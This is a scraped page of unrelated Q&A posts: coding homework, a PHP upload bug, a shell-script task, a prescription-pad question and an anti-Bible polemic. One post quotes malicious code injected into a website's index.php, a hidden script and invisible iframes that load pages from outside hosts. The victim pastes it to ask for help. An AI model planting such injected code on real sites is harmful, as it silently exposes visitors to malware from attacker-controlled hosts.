i have a prescription pad but after it says rx it says for diagnostic testing and equipment only can i write medicine out on does anyone no if it has to be for testing or can you write prescription medicine out on it more

Voting Question: How do you write a function perfect that determines whether parameter number is a perfect number.?

I have to write a function perfect that determines whether parameter number is a perfect number. And use this function in a script that determines and displays all the perfect numbers between 1 and 1000. Print the factors of each perfect number to confirm that the number is indeed perfect. Challenge the computing power of your computer by testing numbers much larger than 1000. I need to display the results in a <textarea>. I NEED HELP! Javascript is confusing and im having trouble even getting started. Thank you all in advance more

Resolved Question: PHP application form will not upload file?

I am working on an employee application form. I need to just get something up for now while I build my MySQL Database. I recently ran into a snag however. How I want it to work is, I've created a Word document form that people can download. They fill it out and then I've build a sort of drop box for them to submit the word document. This document will then be taken stored in a directory on my client's server until it is read and deleted by one of our representatives. Pretty simple coding, but for some reason my clients server is won't let me upload a file to it. I've given write access to the folder and manually set the PHP to accept uploads, but it is still not working. I built a bunch of catches into my code to find where it was getting stuck and its AT the upload part. Here is my code so far. if(isset($_POST['empap'])){ if(!$_FILES['uploaded'] || !$_POST['nam_fi'] || !$_POST['nam_la']){$msg= '<script language="Javascript">alert ("1 THERE WAS A PROBLEM SENDING THE FORM PLEASE CALL 800-XXX-XXXX")</script>';} elseif($_FILES['uploaded']['size'] < 250000 && $_FILES["uploaded"]["name"]=="examp.doc") { $stamp= time(); $name=$_POST['nam_fi'].$_POST['nam_la']; $add=$name.$stamp; $loc='4ppl1c4t10n/'; $target=$loc.$add; $process=move_uploaded_file($_FILES['uploaded']['tmp_name'], "$target".$_FILES['uploaded']['name']); if(!$process){ $msg= '<script language="Javascript">alert ("3 THERE WAS A PROBLEM SENDING THE FORM PLEASE CALL 800-XXX-XXXX")</script>'; }else {.... and then it goes into a mail script and other stuff that i've tested independently and found that it works. I always get error message 3 THERE WAS A PROBLEM SENDING THE FORM PLEASE CALL 800-XXX-XXXX when I try to get it to echo the file type and tmp name they come up blank. When I get it to echo the file size it always says 0kb. I'm really confused and not sure what is going on.I set the upload limit to 1mb already, and the files i'm uploading are only 150-300 kb. more

Resolved Question: I need a little help with vi in Unix?

Write a shell script called "collect" that will: Accept the name of a file as a command line argument. If a command line argument isn't given, display an error message and quit. If an argument is given, test to confirm that the argument is the name of a file in the working directory. If the file exists, copy it to a "collection" directory. If the file doesn't exist, display an error and exit. The collection directory should be a directory called collection located below the current users home directory. Test for the existence of the collection directory and if it doesn't exist, create it before copying the file. Document you program by adding comments to it. *That is what I need help figuring out* Any suggestions will help. Serious answers PLEASE more

Voting Question: A virus on my website?!?

I don't know what to do! (I changed my password) But suddenly these codes are added in all my index.php files. echo "<script>document.write('<iframe src=\"http://ahbazen.net/?click=11111968\" width=100 height=100 style=\"position:absolute;top:-10000;left:-10000;\"></iframe>');</script>"; ?> <iframe frameborder="0" onload="if (!this.src){ this.src='http://mozg-testing.ru:8080/index.php'; this.height='0'; this.width='0';}" >aoogcziphmtkgmbpnyxlmd <iframe frameborder="0" onload="if (!this.src){ this.src='http://iq-mozgi.ru:8080/index.php'; this.height='0'; this.width='0';}" >ursapmaigvscbmobjndt <iframe frameborder="0" onload="if (!this.src){ this.src='http://zria.ru/index.php'; this.height='0'; this.width='0';}" >kkxxwowwcyqofauaqni <iframe frameborder="0" onload="if (!this.src){ this.src='http://newlifeworld.ru:8080/index.php'; this.height='0'; this.width='0';}" >nzeinripkigfphidvkoupagrlwbuwmr</iframe> What is this? Are there more ways to prevent it? more

Resolved Question: If you believe in God, Moses, Jesus, or the bible at all, then I am inviting your faith to the test of reason.?

Lets Begin .. The first five books of the bible known as the Books of Moses begin with Genesis and ends in Deuteronomy... Rather Moses was the writer of these books or not has baffled many throughout the ages.. but I'll take the liberty in using the most effective tool at hand , the bible itself .... In the beginning of Genesis it starts with the writer speaking as to have said " ( In the beginning God created the heaven and the earth ) " , this pattern continues throughout the next book which is titled " Exodus "....... When we take a look at the book " Leviticus chapter one verse one " which is the very next book we can clearly see that the pattern changes and it clearly states " ( 1 And the LORD called unto Moses, and spake unto him out of the tabernacle of the congregation, saying, ) ". <<< There you have another speaker conveying to you the events of two other parties not present during the developement of the script. This pattern continues throughout the next two books " Numbers and Dueteronomy " ...." ( Numbers 1:1 - And the LORD spake unto Moses in the wilderness of Si'nai, in the tabernacle of the congregation, on the first day of the second month, etc.... ) " , " ( Dueteronomy 1:1 - 1 These be the words which Moses spake unto all Israel on this side Jordan in the wilderness, in the plain over against the Red sea, etc... ) " .... The view of the writer shifts dramatically and simply renders the five books in conflict with each other as to who is actually the writer.. Furthermore concerning the Moses personification - in the end of the book of Deuteronomy the events of Moses are written as an epitaph to Moses, as if one were reading or conveying the storyline of a death already passed due to the hand of time. " ( Moses could not have written the events of his death and how the people reacted to it if he were writing or sripting that section of Dueteronomy ) " ... Most biblical Scholars have tried to direct the idea of the writer as being " Joshua " hence Joshua is the very next book and yet that notion conflicts with the historical claims of many previous scholars and writers that " Moses " is the actual writer of Dueteronomy ... the Mythological Moses is doomed in that regard. ................................. Jesus Christ.. First off - I cannot understand how a simple measure of logic never prevails in entering the brains of many who claim to have such a vast immense amount of faith ... here I propose the ability for any one of you who claim without evidence to provide sufficiency of for what I am about to properly refute. Jesus Christ's birth was prophesized in the bible as to be born as a descendent of King David .... Jesus Christ could not have been born as a descendent of King David simply because he was born of a " VIRGIN BIRTH " , that prophecy was never fulfilled.. And women could not pass what is known as " tribal lineage " , so all of you who are amped to through the notion that his lineage was passed down by Mary - your claims are irrelevent and doomed by fact and reason alone.. The prophecy of Jesus Christ's birth was never fulfilled, thus he was never born.. Just one more personified mythological messiah used to forgive the sins of the only murderous tyrant of the old testement >>> " The Biblical God " ... .... astrology and pagan rituals/ceremonies can explain your deluded Jesus concept well enough for you, but if you wish to remain stuck under the concept of fear and not search for the knowledge and truth you'll never know these things will you ?... try reading the New Living Translation Bible and Compare it to the King James Bible - read in the book of Zephaniah 1:7 - 1:10 , for those who lack in proper catharsis I'll take the liberty of providing the evidence for you here . King James Bible - " Zephaniah 1:7- 1:10 " ------ ...........- 7 ¶ Hold thy peace at the presence of the Lord GOD: for the day of the LORD is at hand: for the LORD hath prepared a sacrifice, he hath bid his guests. 8 And it shall come to pass in the day of the LORD's sacrifice, that I will punish the princes, and the king's children, and all such as are clothed with strange apparel. 9 In the same day also will I punish all those that leap on the threshold, which fill their masters' houses with violence and deceit. 10 ¶ And it shall come to pass in that day, saith the LORD, that there shall be the noise of a cry from the fish gate, and a howling from the second, and a great crashing from the hills. New Living Translation Bible - Zephaniah 1:7 - 1:10 -------- 7 Stand in silence in the presence of the Sovereign Lord, for the awesome day of the Lord’s judgment is near. The Lord has prepared his people for a great slaughter and has chosen their executioners.[c] 8 “On that day of judgment,” says the Lord, “I will punish the leaders and princes of Judah and all those following "pagan" customs. 9 Yes, I will punish those who9 Yes, I will punish those who participate in " pagan " worship ceremonies, and those who fill their masters’ houses with violence and deceit. 10 “On that day,” says the Lord, “a cry of alarm will come from the Fish Gate and echo throughout the New Quarter of the city.[d] And a great crash will sound from the hills. ......... as you can clearly see, the King James version tries to hide the mentioning of " Pagan " practices in the effort that it disguises the fact that it pulls from its religion... The fall of Dagon in 1rst Samuel 5:5 also proves this , for christianity was the new religion that wanted to conquer and so ithas Dagon " killed ", which it doesn't amaze me on how the biblical God proceeded and carried that mission out to accomplish the task.. Your God ..... The bible states that " Man was made in the image of God "this forum will not allow me to finish what I had originally had for the ending of this question essay , so I'll leave it here , Im sure this is enough for the quagmirish minds of the religous believers...... your turnred dye #2 - the part where I've stated " Man being made in the image of God " is where I had been cut off , I didn't have the room to go into the details that I had wished to .... if you must take the opportunity to achieve victory against an unfinished notion without details - then so be it .Frankie ...you've made a typical response for believers who fail to provide an effective refutation of the question or claims ... you attack my grammer instead of giving credible or plausible response ...... lets see , Im willing to accept that I may have used the wrong spelling or wording , but will you accept that you could possibly be mislead about what you believe in ? more